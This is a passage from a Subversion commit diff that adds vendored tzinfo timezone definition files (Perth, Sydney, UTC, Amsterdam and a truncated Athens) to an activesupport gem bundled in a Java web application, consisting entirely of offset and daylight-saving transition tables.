+          tz.transition 2026, 10, :o2, 1791043200
+          tz.transition 2027, 4, :o1, 1806768000
+          tz.transition 2027, 10, :o2, 1822492800
+          tz.transition 2028, 4, :o1, 1838217600
+          tz.transition 2028, 9, :o2, 1853942400
+          tz.transition 2029, 3, :o1, 1869667200
+          tz.transition 2029, 10, :o2, 1885996800
+          tz.transition 2030, 4, :o1, 1901721600
+          tz.transition 2030, 10, :o2, 1917446400
+          tz.transition 2031, 4, :o1, 1933171200
+          tz.transition 2031, 10, :o2, 1948896000
+          tz.transition 2032, 4, :o1, 1964620800
+          tz.transition 2032, 10, :o2, 1980345600
+          tz.transition 2033, 4, :o1, 1996070400
+          tz.transition 2033, 10, :o2, 2011795200
+          tz.transition 2034, 4, :o1, 2027520000
+          tz.transition 2034, 9, :o2, 2043244800
+          tz.transition 2035, 3, :o1, 2058969600
+          tz.transition 2035, 10, :o2, 2075299200
+          tz.transition 2036, 4, :o1, 2091024000
+          tz.transition 2036, 10, :o2, 2106748800
+          tz.transition 2037, 4, :o1, 2122473600
+          tz.transition 2037, 10, :o2, 2138198400
+          tz.transition 2038, 4, :o1, 14793103, 6
+          tz.transition 2038, 10, :o2, 14794195, 6
+          tz.transition 2039, 4, :o1, 14795287, 6
+          tz.transition 2039, 10, :o2, 14796379, 6
+          tz.transition 2040, 3, :o1, 14797471, 6
+          tz.transition 2040, 10, :o2, 14798605, 6
+          tz.transition 2041, 4, :o1, 14799697, 6
+          tz.transition 2041, 10, :o2, 14800789, 6
+          tz.transition 2042, 4, :o1, 14801881, 6
+          tz.transition 2042, 10, :o2, 14802973, 6
+          tz.transition 2043, 4, :o1, 14804065, 6
+          tz.transition 2043, 10, :o2, 14805157, 6
+          tz.transition 2044, 4, :o1, 14806249, 6
+          tz.transition 2044, 10, :o2, 14807341, 6
+          tz.transition 2045, 4, :o1, 14808433, 6
+          tz.transition 2045, 9, :o2, 14809525, 6
+          tz.transition 2046, 3, :o1, 14810617, 6
+          tz.transition 2046, 10, :o2, 14811751, 6
+          tz.transition 2047, 4, :o1, 14812843, 6
+          tz.transition 2047, 10, :o2, 14813935, 6
+          tz.transition 2048, 4, :o1, 14815027, 6
+          tz.transition 2048, 10, :o2, 14816119, 6
+          tz.transition 2049, 4, :o1, 14817211, 6
+          tz.transition 2049, 10, :o2, 14818303, 6
+          tz.transition 2050, 4, :o1, 14819395, 6
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Perth.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Perth.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Perth.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,37 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Australia
+      module Perth
+        include TimezoneDefinition
+        
+        timezone 'Australia/Perth' do |tz|
+          tz.offset :o0, 27804, 0, :LMT
+          tz.offset :o1, 28800, 0, :WST
+          tz.offset :o2, 28800, 3600, :WST
+          
+          tz.transition 1895, 11, :o1, 17377402883, 7200
+          tz.transition 1916, 12, :o2, 3486570001, 1440
+          tz.transition 1917, 3, :o1, 58111493, 24
+          tz.transition 1941, 12, :o2, 9721441, 4
+          tz.transition 1942, 3, :o1, 58330733, 24
+          tz.transition 1942, 9, :o2, 9722517, 4
+          tz.transition 1943, 3, :o1, 58339469, 24
+          tz.transition 1974, 10, :o2, 152042400
+          tz.transition 1975, 3, :o1, 162928800
+          tz.transition 1983, 10, :o2, 436298400
+          tz.transition 1984, 3, :o1, 447184800
+          tz.transition 1991, 11, :o2, 690314400
+          tz.transition 1992, 2, :o1, 699386400
+          tz.transition 2006, 12, :o2, 1165082400
+          tz.transition 2007, 3, :o1, 1174759200
+          tz.transition 2007, 10, :o2, 1193508000
+          tz.transition 2008, 3, :o1, 1206813600
+          tz.transition 2008, 10, :o2, 1224957600
+          tz.transition 2009, 3, :o1, 1238263200
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Sydney.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Sydney.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Sydney.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,185 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Australia
+      module Sydney
+        include TimezoneDefinition
+        
+        timezone 'Australia/Sydney' do |tz|
+          tz.offset :o0, 36292, 0, :LMT
+          tz.offset :o1, 36000, 0, :EST
+          tz.offset :o2, 36000, 3600, :EST
+          
+          tz.transition 1895, 1, :o1, 52125661727, 21600
+          tz.transition 1916, 12, :o2, 3486569881, 1440
+          tz.transition 1917, 3, :o1, 19370497, 8
+          tz.transition 1941, 12, :o2, 14582161, 6
+          tz.transition 1942, 3, :o1, 19443577, 8
+          tz.transition 1942, 9, :o2, 14583775, 6
+          tz.transition 1943, 3, :o1, 19446489, 8
+          tz.transition 1943, 10, :o2, 14586001, 6
+          tz.transition 1944, 3, :o1, 19449401, 8
+          tz.transition 1971, 10, :o2, 57686400
+          tz.transition 1972, 2, :o1, 67968000
+          tz.transition 1972, 10, :o2, 89136000
+          tz.transition 1973, 3, :o1, 100022400
+          tz.transition 1973, 10, :o2, 120585600
+          tz.transition 1974, 3, :o1, 131472000
+          tz.transition 1974, 10, :o2, 152035200
+          tz.transition 1975, 3, :o1, 162921600
+          tz.transition 1975, 10, :o2, 183484800
+          tz.transition 1976, 3, :o1, 194976000
+          tz.transition 1976, 10, :o2, 215539200
+          tz.transition 1977, 3, :o1, 226425600
+          tz.transition 1977, 10, :o2, 246988800
+          tz.transition 1978, 3, :o1, 257875200
+          tz.transition 1978, 10, :o2, 278438400
+          tz.transition 1979, 3, :o1, 289324800
+          tz.transition 1979, 10, :o2, 309888000
+          tz.transition 1980, 3, :o1, 320774400
+          tz.transition 1980, 10, :o2, 341337600
+          tz.transition 1981, 2, :o1, 352224000
+          tz.transition 1981, 10, :o2, 372787200
+          tz.transition 1982, 4, :o1, 386697600
+          tz.transition 1982, 10, :o2, 404841600
+          tz.transition 1983, 3, :o1, 415728000
+          tz.transition 1983, 10, :o2, 436291200
+          tz.transition 1984, 3, :o1, 447177600
+          tz.transition 1984, 10, :o2, 467740800
+          tz.transition 1985, 3, :o1, 478627200
+          tz.transition 1985, 10, :o2, 499190400
+          tz.transition 1986, 3, :o1, 511286400
+          tz.transition 1986, 10, :o2, 530035200
+          tz.transition 1987, 3, :o1, 542736000
+          tz.transition 1987, 10, :o2, 562089600
+          tz.transition 1988, 3, :o1, 574790400
+          tz.transition 1988, 10, :o2, 594144000
+          tz.transition 1989, 3, :o1, 606240000
+          tz.transition 1989, 10, :o2, 625593600
+          tz.transition 1990, 3, :o1, 636480000
+          tz.transition 1990, 10, :o2, 657043200
+          tz.transition 1991, 3, :o1, 667929600
+          tz.transition 1991, 10, :o2, 688492800
+          tz.transition 1992, 2, :o1, 699379200
+          tz.transition 1992, 10, :o2, 719942400
+          tz.transition 1993, 3, :o1, 731433600
+          tz.transition 1993, 10, :o2, 751996800
+          tz.transition 1994, 3, :o1, 762883200
+          tz.transition 1994, 10, :o2, 783446400
+          tz.transition 1995, 3, :o1, 794332800
+          tz.transition 1995, 10, :o2, 814896000
+          tz.transition 1996, 3, :o1, 828201600
+          tz.transition 1996, 10, :o2, 846345600
+          tz.transition 1997, 3, :o1, 859651200
+          tz.transition 1997, 10, :o2, 877795200
+          tz.transition 1998, 3, :o1, 891100800
+          tz.transition 1998, 10, :o2, 909244800
+          tz.transition 1999, 3, :o1, 922550400
+          tz.transition 1999, 10, :o2, 941299200
+          tz.transition 2000, 3, :o1, 954000000
+          tz.transition 2000, 8, :o2, 967305600
+          tz.transition 2001, 3, :o1, 985449600
+          tz.transition 2001, 10, :o2, 1004198400
+          tz.transition 2002, 3, :o1, 1017504000
+          tz.transition 2002, 10, :o2, 1035648000
+          tz.transition 2003, 3, :o1, 1048953600
+          tz.transition 2003, 10, :o2, 1067097600
+          tz.transition 2004, 3, :o1, 1080403200
+          tz.transition 2004, 10, :o2, 1099152000
+          tz.transition 2005, 3, :o1, 1111852800
+          tz.transition 2005, 10, :o2, 1130601600
+          tz.transition 2006, 4, :o1, 1143907200
+          tz.transition 2006, 10, :o2, 1162051200
+          tz.transition 2007, 3, :o1, 1174752000
+          tz.transition 2007, 10, :o2, 1193500800
+          tz.transition 2008, 4, :o1, 1207411200
+          tz.transition 2008, 10, :o2, 1223136000
+          tz.transition 2009, 4, :o1, 1238860800
+          tz.transition 2009, 10, :o2, 1254585600
+          tz.transition 2010, 4, :o1, 1270310400
+          tz.transition 2010, 10, :o2, 1286035200
+          tz.transition 2011, 4, :o1, 1301760000
+          tz.transition 2011, 10, :o2, 1317484800
+          tz.transition 2012, 3, :o1, 1333209600
+          tz.transition 2012, 10, :o2, 1349539200
+          tz.transition 2013, 4, :o1, 1365264000
+          tz.transition 2013, 10, :o2, 1380988800
+          tz.transition 2014, 4, :o1, 1396713600
+          tz.transition 2014, 10, :o2, 1412438400
+          tz.transition 2015, 4, :o1, 1428163200
+          tz.transition 2015, 10, :o2, 1443888000
+          tz.transition 2016, 4, :o1, 1459612800
+          tz.transition 2016, 10, :o2, 1475337600
+          tz.transition 2017, 4, :o1, 1491062400
+          tz.transition 2017, 9, :o2, 1506787200
+          tz.transition 2018, 3, :o1, 1522512000
+          tz.transition 2018, 10, :o2, 1538841600
+          tz.transition 2019, 4, :o1, 1554566400
+          tz.transition 2019, 10, :o2, 1570291200
+          tz.transition 2020, 4, :o1, 1586016000
+          tz.transition 2020, 10, :o2, 1601740800
+          tz.transition 2021, 4, :o1, 1617465600
+          tz.transition 2021, 10, :o2, 1633190400
+          tz.transition 2022, 4, :o1, 1648915200
+          tz.transition 2022, 10, :o2, 1664640000
+          tz.transition 2023, 4, :o1, 1680364800
+          tz.transition 2023, 9, :o2, 1696089600
+          tz.transition 2024, 4, :o1, 1712419200
+          tz.transition 2024, 10, :o2, 1728144000
+          tz.transition 2025, 4, :o1, 1743868800
+          tz.transition 2025, 10, :o2, 1759593600
+          tz.transition 2026, 4, :o1, 1775318400
+          tz.transition 2026, 10, :o2, 1791043200
+          tz.transition 2027, 4, :o1, 1806768000
+          tz.transition 2027, 10, :o2, 1822492800
+          tz.transition 2028, 4, :o1, 1838217600
+          tz.transition 2028, 9, :o2, 1853942400
+          tz.transition 2029, 3, :o1, 1869667200
+          tz.transition 2029, 10, :o2, 1885996800
+          tz.transition 2030, 4, :o1, 1901721600
+          tz.transition 2030, 10, :o2, 1917446400
+          tz.transition 2031, 4, :o1, 1933171200
+          tz.transition 2031, 10, :o2, 1948896000
+          tz.transition 2032, 4, :o1, 1964620800
+          tz.transition 2032, 10, :o2, 1980345600
+          tz.transition 2033, 4, :o1, 1996070400
+          tz.transition 2033, 10, :o2, 2011795200
+          tz.transition 2034, 4, :o1, 2027520000
+          tz.transition 2034, 9, :o2, 2043244800
+          tz.transition 2035, 3, :o1, 2058969600
+          tz.transition 2035, 10, :o2, 2075299200
+          tz.transition 2036, 4, :o1, 2091024000
+          tz.transition 2036, 10, :o2, 2106748800
+          tz.transition 2037, 4, :o1, 2122473600
+          tz.transition 2037, 10, :o2, 2138198400
+          tz.transition 2038, 4, :o1, 14793103, 6
+          tz.transition 2038, 10, :o2, 14794195, 6
+          tz.transition 2039, 4, :o1, 14795287, 6
+          tz.transition 2039, 10, :o2, 14796379, 6
+          tz.transition 2040, 3, :o1, 14797471, 6
+          tz.transition 2040, 10, :o2, 14798605, 6
+          tz.transition 2041, 4, :o1, 14799697, 6
+          tz.transition 2041, 10, :o2, 14800789, 6
+          tz.transition 2042, 4, :o1, 14801881, 6
+          tz.transition 2042, 10, :o2, 14802973, 6
+          tz.transition 2043, 4, :o1, 14804065, 6
+          tz.transition 2043, 10, :o2, 14805157, 6
+          tz.transition 2044, 4, :o1, 14806249, 6
+          tz.transition 2044, 10, :o2, 14807341, 6
+          tz.transition 2045, 4, :o1, 14808433, 6
+          tz.transition 2045, 9, :o2, 14809525, 6
+          tz.transition 2046, 3, :o1, 14810617, 6
+          tz.transition 2046, 10, :o2, 14811751, 6
+          tz.transition 2047, 4, :o1, 14812843, 6
+          tz.transition 2047, 10, :o2, 14813935, 6
+          tz.transition 2048, 4, :o1, 14815027, 6
+          tz.transition 2048, 10, :o2, 14816119, 6
+          tz.transition 2049, 4, :o1, 14817211, 6
+          tz.transition 2049, 10, :o2, 14818303, 6
+          tz.transition 2050, 4, :o1, 14819395, 6
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Etc/UTC.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Etc/UTC.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Etc/UTC.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,16 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Etc
+      module UTC
+        include TimezoneDefinition
+        
+        timezone 'Etc/UTC' do |tz|
+          tz.offset :o0, 0, 0, :UTC
+          
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Amsterdam.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Amsterdam.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Amsterdam.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,228 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Amsterdam
+        include TimezoneDefinition
+        
+        timezone 'Europe/Amsterdam' do |tz|
+          tz.offset :o0, 1172, 0, :LMT
+          tz.offset :o1, 1172, 0, :AMT
+          tz.offset :o2, 1172, 3600, :NST
+          tz.offset :o3, 1200, 3600, :NEST
+          tz.offset :o4, 1200, 0, :NET
+          tz.offset :o5, 3600, 3600, :CEST
+          tz.offset :o6, 3600, 0, :CET
+          
+          tz.transition 1834, 12, :o1, 51651636907, 21600
+          tz.transition 1916, 4, :o2, 52293264907, 21600
+          tz.transition 1916, 9, :o1, 52296568807, 21600
+          tz.transition 1917, 4, :o2, 52300826707, 21600
+          tz.transition 1917, 9, :o1, 52304153107, 21600
+          tz.transition 1918, 4, :o2, 52308386707, 21600
+          tz.transition 1918, 9, :o1, 52312317907, 21600
+          tz.transition 1919, 4, :o2, 52316400307, 21600
+          tz.transition 1919, 9, :o1, 52320180307, 21600
+          tz.transition 1920, 4, :o2, 52324262707, 21600
+          tz.transition 1920, 9, :o1, 52328042707, 21600
+          tz.transition 1921, 4, :o2, 52332125107, 21600
+          tz.transition 1921, 9, :o1, 52335905107, 21600
+          tz.transition 1922, 3, :o2, 52339814707, 21600
+          tz.transition 1922, 10, :o1, 52344048307, 21600
+          tz.transition 1923, 6, :o2, 52349145907, 21600
+          tz.transition 1923, 10, :o1, 52351910707, 21600
+          tz.transition 1924, 3, :o2, 52355690707, 21600
+          tz.transition 1924, 10, :o1, 52359773107, 21600
+          tz.transition 1925, 6, :o2, 52365021907, 21600
+          tz.transition 1925, 10, :o1, 52367635507, 21600
+          tz.transition 1926, 5, :o2, 52372452307, 21600
+          tz.transition 1926, 10, :o1, 52375497907, 21600
+          tz.transition 1927, 5, :o2, 52380336307, 21600
+          tz.transition 1927, 10, :o1, 52383360307, 21600
+          tz.transition 1928, 5, :o2, 52388241907, 21600
+          tz.transition 1928, 10, :o1, 52391373907, 21600
+          tz.transition 1929, 5, :o2, 52396125907, 21600
+          tz.transition 1929, 10, :o1, 52399236307, 21600
+          tz.transition 1930, 5, :o2, 52404009907, 21600
+          tz.transition 1930, 10, :o1, 52407098707, 21600
+          tz.transition 1931, 5, :o2, 52411893907, 21600
+          tz.transition 1931, 10, :o1, 52414961107, 21600
+          tz.transition 1932, 5, :o2, 52419950707, 21600
+          tz.transition 1932, 10, :o1, 52422823507, 21600
+          tz.transition 1933, 5, :o2, 52427683507, 21600
+          tz.transition 1933, 10, :o1, 52430837107, 21600
+          tz.transition 1934, 5, :o2, 52435567507, 21600
+          tz.transition 1934, 10, :o1, 52438699507, 21600
+          tz.transition 1935, 5, :o2, 52443451507, 21600
+          tz.transition 1935, 10, :o1, 52446561907, 21600
+          tz.transition 1936, 5, :o2, 52451357107, 21600
+          tz.transition 1936, 10, :o1, 52454424307, 21600
+          tz.transition 1937, 5, :o2, 52459392307, 21600
+          tz.transition 1937, 6, :o3, 52460253607, 21600
+          tz.transition 1937, 10, :o4, 174874289, 72
+          tz.transition 1938, 5, :o3, 174890417, 72
+          tz.transition 1938, 10, :o4, 174900497, 72
+          tz.transition 1939, 5, :o3, 174916697, 72
+          tz.transition 1939, 10, :o4, 174927209, 72
+          tz.transition 1940, 5, :o5, 174943115, 72
+          tz.transition 1942, 11, :o6, 58335973, 24
+          tz.transition 1943, 3, :o5, 58339501, 24
+          tz.transition 1943, 10, :o6, 58344037, 24
+          tz.transition 1944, 4, :o5, 58348405, 24
+          tz.transition 1944, 10, :o6, 58352773, 24
+          tz.transition 1945, 4, :o5, 58357141, 24
+          tz.transition 1945, 9, :o6, 58361149, 24
+          tz.transition 1977, 4, :o5, 228877200
+          tz.transition 1977, 9, :o6, 243997200
+          tz.transition 1978, 4, :o5, 260326800
+          tz.transition 1978, 10, :o6, 276051600
+          tz.transition 1979, 4, :o5, 291776400
+          tz.transition 1979, 9, :o6, 307501200
+          tz.transition 1980, 4, :o5, 323830800
+          tz.transition 1980, 9, :o6, 338950800
+          tz.transition 1981, 3, :o5, 354675600
+          tz.transition 1981, 9, :o6, 370400400
+          tz.transition 1982, 3, :o5, 386125200
+          tz.transition 1982, 9, :o6, 401850000
+          tz.transition 1983, 3, :o5, 417574800
+          tz.transition 1983, 9, :o6, 433299600
+          tz.transition 1984, 3, :o5, 449024400
+          tz.transition 1984, 9, :o6, 465354000
+          tz.transition 1985, 3, :o5, 481078800
+          tz.transition 1985, 9, :o6, 496803600
+          tz.transition 1986, 3, :o5, 512528400
+          tz.transition 1986, 9, :o6, 528253200
+          tz.transition 1987, 3, :o5, 543978000
+          tz.transition 1987, 9, :o6, 559702800
+          tz.transition 1988, 3, :o5, 575427600
+          tz.transition 1988, 9, :o6, 591152400
+          tz.transition 1989, 3, :o5, 606877200
+          tz.transition 1989, 9, :o6, 622602000
+          tz.transition 1990, 3, :o5, 638326800
+          tz.transition 1990, 9, :o6, 654656400
+          tz.transition 1991, 3, :o5, 670381200
+          tz.transition 1991, 9, :o6, 686106000
+          tz.transition 1992, 3, :o5, 701830800
+          tz.transition 1992, 9, :o6, 717555600
+          tz.transition 1993, 3, :o5, 733280400
+          tz.transition 1993, 9, :o6, 749005200
+          tz.transition 1994, 3, :o5, 764730000
+          tz.transition 1994, 9, :o6, 780454800
+          tz.transition 1995, 3, :o5, 796179600
+          tz.transition 1995, 9, :o6, 811904400
+          tz.transition 1996, 3, :o5, 828234000
+          tz.transition 1996, 10, :o6, 846378000
+          tz.transition 1997, 3, :o5, 859683600
+          tz.transition 1997, 10, :o6, 877827600
+          tz.transition 1998, 3, :o5, 891133200
+          tz.transition 1998, 10, :o6, 909277200
+          tz.transition 1999, 3, :o5, 922582800
+          tz.transition 1999, 10, :o6, 941331600
+          tz.transition 2000, 3, :o5, 954032400
+          tz.transition 2000, 10, :o6, 972781200
+          tz.transition 2001, 3, :o5, 985482000
+          tz.transition 2001, 10, :o6, 1004230800
+          tz.transition 2002, 3, :o5, 1017536400
+          tz.transition 2002, 10, :o6, 1035680400
+          tz.transition 2003, 3, :o5, 1048986000
+          tz.transition 2003, 10, :o6, 1067130000
+          tz.transition 2004, 3, :o5, 1080435600
+          tz.transition 2004, 10, :o6, 1099184400
+          tz.transition 2005, 3, :o5, 1111885200
+          tz.transition 2005, 10, :o6, 1130634000
+          tz.transition 2006, 3, :o5, 1143334800
+          tz.transition 2006, 10, :o6, 1162083600
+          tz.transition 2007, 3, :o5, 1174784400
+          tz.transition 2007, 10, :o6, 1193533200
+          tz.transition 2008, 3, :o5, 1206838800
+          tz.transition 2008, 10, :o6, 1224982800
+          tz.transition 2009, 3, :o5, 1238288400
+          tz.transition 2009, 10, :o6, 1256432400
+          tz.transition 2010, 3, :o5, 1269738000
+          tz.transition 2010, 10, :o6, 1288486800
+          tz.transition 2011, 3, :o5, 1301187600
+          tz.transition 2011, 10, :o6, 1319936400
+          tz.transition 2012, 3, :o5, 1332637200
+          tz.transition 2012, 10, :o6, 1351386000
+          tz.transition 2013, 3, :o5, 1364691600
+          tz.transition 2013, 10, :o6, 1382835600
+          tz.transition 2014, 3, :o5, 1396141200
+          tz.transition 2014, 10, :o6, 1414285200
+          tz.transition 2015, 3, :o5, 1427590800
+          tz.transition 2015, 10, :o6, 1445734800
+          tz.transition 2016, 3, :o5, 1459040400
+          tz.transition 2016, 10, :o6, 1477789200
+          tz.transition 2017, 3, :o5, 1490490000
+          tz.transition 2017, 10, :o6, 1509238800
+          tz.transition 2018, 3, :o5, 1521939600
+          tz.transition 2018, 10, :o6, 1540688400
+          tz.transition 2019, 3, :o5, 1553994000
+          tz.transition 2019, 10, :o6, 1572138000
+          tz.transition 2020, 3, :o5, 1585443600
+          tz.transition 2020, 10, :o6, 1603587600
+          tz.transition 2021, 3, :o5, 1616893200
+          tz.transition 2021, 10, :o6, 1635642000
+          tz.transition 2022, 3, :o5, 1648342800
+          tz.transition 2022, 10, :o6, 1667091600
+          tz.transition 2023, 3, :o5, 1679792400
+          tz.transition 2023, 10, :o6, 1698541200
+          tz.transition 2024, 3, :o5, 1711846800
+          tz.transition 2024, 10, :o6, 1729990800
+          tz.transition 2025, 3, :o5, 1743296400
+          tz.transition 2025, 10, :o6, 1761440400
+          tz.transition 2026, 3, :o5, 1774746000
+          tz.transition 2026, 10, :o6, 1792890000
+          tz.transition 2027, 3, :o5, 1806195600
+          tz.transition 2027, 10, :o6, 1824944400
+          tz.transition 2028, 3, :o5, 1837645200
+          tz.transition 2028, 10, :o6, 1856394000
+          tz.transition 2029, 3, :o5, 1869094800
+          tz.transition 2029, 10, :o6, 1887843600
+          tz.transition 2030, 3, :o5, 1901149200
+          tz.transition 2030, 10, :o6, 1919293200
+          tz.transition 2031, 3, :o5, 1932598800
+          tz.transition 2031, 10, :o6, 1950742800
+          tz.transition 2032, 3, :o5, 1964048400
+          tz.transition 2032, 10, :o6, 1982797200
+          tz.transition 2033, 3, :o5, 1995498000
+          tz.transition 2033, 10, :o6, 2014246800
+          tz.transition 2034, 3, :o5, 2026947600
+          tz.transition 2034, 10, :o6, 2045696400
+          tz.transition 2035, 3, :o5, 2058397200
+          tz.transition 2035, 10, :o6, 2077146000
+          tz.transition 2036, 3, :o5, 2090451600
+          tz.transition 2036, 10, :o6, 2108595600
+          tz.transition 2037, 3, :o5, 2121901200
+          tz.transition 2037, 10, :o6, 2140045200
+          tz.transition 2038, 3, :o5, 59172253, 24
+          tz.transition 2038, 10, :o6, 59177461, 24
+          tz.transition 2039, 3, :o5, 59180989, 24
+          tz.transition 2039, 10, :o6, 59186197, 24
+          tz.transition 2040, 3, :o5, 59189725, 24
+          tz.transition 2040, 10, :o6, 59194933, 24
+          tz.transition 2041, 3, :o5, 59198629, 24
+          tz.transition 2041, 10, :o6, 59203669, 24
+          tz.transition 2042, 3, :o5, 59207365, 24
+          tz.transition 2042, 10, :o6, 59212405, 24
+          tz.transition 2043, 3, :o5, 59216101, 24
+          tz.transition 2043, 10, :o6, 59221141, 24
+          tz.transition 2044, 3, :o5, 59224837, 24
+          tz.transition 2044, 10, :o6, 59230045, 24
+          tz.transition 2045, 3, :o5, 59233573, 24
+          tz.transition 2045, 10, :o6, 59238781, 24
+          tz.transition 2046, 3, :o5, 59242309, 24
+          tz.transition 2046, 10, :o6, 59247517, 24
+          tz.transition 2047, 3, :o5, 59251213, 24
+          tz.transition 2047, 10, :o6, 59256253, 24
+          tz.transition 2048, 3, :o5, 59259949, 24
+          tz.transition 2048, 10, :o6, 59264989, 24
+          tz.transition 2049, 3, :o5, 59268685, 24
+          tz.transition 2049, 10, :o6, 59273893, 24
+          tz.transition 2050, 3, :o5, 59277421, 24
+          tz.transition 2050, 10, :o6, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Athens.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Athens.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Athens.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,185 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Athens
+        include TimezoneDefinition
+        
+        timezone 'Europe/Athens' do |tz|
+          tz.offset :o0, 5692, 0, :LMT
+          tz.offset :o1, 5692, 0, :AMT
+          tz.offset :o2, 7200, 0, :EET
+          tz.offset :o3, 7200, 3600, :EEST
+          tz.offset :o4, 3600, 3600, :CEST
+          tz.offset :o5, 3600, 0, :CET
+          
+          tz.transition 1895, 9, :o1, 52130529377, 21600
+          tz.transition 1916, 7, :o2, 3268447787, 1350
+          tz.transition 1932, 7, :o3, 29122745, 12
+          tz.transition 1932, 8, :o2, 19415611, 8
+          tz.transition 1941, 4, :o3, 29161097, 12
+          tz.transition 1941, 4, :o4, 19440915, 8
+          tz.transition 1942, 11, :o5, 58335973, 24
+          tz.transition 1943, 3, :o4, 58339523, 24
+          tz.transition 1943, 10, :o5, 29172017, 12
+          tz.transition 1944, 4, :o2, 58348427, 24
+          tz.transition 1952, 6, :o3, 29210333, 12
+          tz.transition 1952, 11, :o2, 19474547, 8
+          tz.transition 1975, 4, :o3, 166485600
+          tz.transition 1975, 11, :o2, 186184800
+          tz.transition 1976, 4, :o3, 198028800
+          tz.transition 1976, 10, :o2, 213753600
+          tz.transition 1977, 4, :o3, 228873600
+          tz.transition 1977, 9, :o2, 244080000
+          tz.transition 1978, 4, :o3, 260323200
+          tz.transition 1978, 9, :o2, 275446800
+          tz.transition 1979, 4, :o3, 291798000
+          tz.transition 1979, 9, :o2, 307407600
+          tz.transition 1980, 3, :o3, 323388000
+          tz.transition 1980, 9, :o2, 338936400
+          tz.transition 1981, 3, :o3, 354675600
+          tz.transition 1981, 9, :o2, 370400400
+          tz.transition 1982, 3, :o3, 386125200
+          tz.transition 1982, 9, :o2, 401850000
+          tz.transition 1983, 3, :o3, 417574800
+          tz.transition 1983, 9, :o2, 433299600
+          tz.transition 1984, 3, :o3, 449024400
+          tz.transition 1984, 9, :o2, 465354000
+          tz.transition 1985, 3, :o3, 481078800
+          tz.transition 1985, 9, :o2, 496803600
+          tz.transition 1986, 3, :o3, 512528400
+          tz.transition 1986, 9, :o2, 528253200
+          tz.transition 1987, 3, :o3, 543978000
+          tz.transition 1987, 9, :o2, 559702800
+          tz.transition 1988, 3, :o3, 575427600
+          tz.transition 1988, 9, :o2, 591152400
+          tz.transition 1989, 3, :o3, 606877200
+          tz.transition 1989, 9, :o2, 622602000
+          tz.transition 1990, 3, :o3, 638326800
+          tz.transition 1990, 9, :o2, 654656400
+          tz.transition 1991, 3, :o3, 670381200
+          tz.transition 1991, 9, :o2, 686106000
+          tz.transition 1992, 3, :o3, 701830800
+          tz.transition 1992, 9, :o2, 717555600
+          tz.transition 1993, 3, :o3, 733280400
+          tz.transition 1993, 9, :o2, 749005200
+          tz.transition 1994, 3, :o3, 764730000
+          tz.transition 1994, 9, :o2, 780454800
+          tz.transition 1995, 3, :o3, 796179600
+          tz.transition 1995, 9, :o2, 811904400
+          tz.transition 1996, 3, :o3, 828234000
+          tz.transition 1996, 10, :o2, 846378000
+          tz.transition 1997, 3, :o3, 859683600
+          tz.transition 1997, 10, :o2, 877827600
+          tz.transition 1998, 3, :o3, 891133200
+          tz.transition 1998, 10, :o2, 909277200
+          tz.transition 1999, 3, :o3, 922582800
+          tz.transition 1999, 10, :o2, 941331600
+          tz.transition 2000, 3, :o3, 954032400
+          tz.transition 2000, 10, :o2, 972781200
+          tz.transition 2001, 3, :o3, 985482000
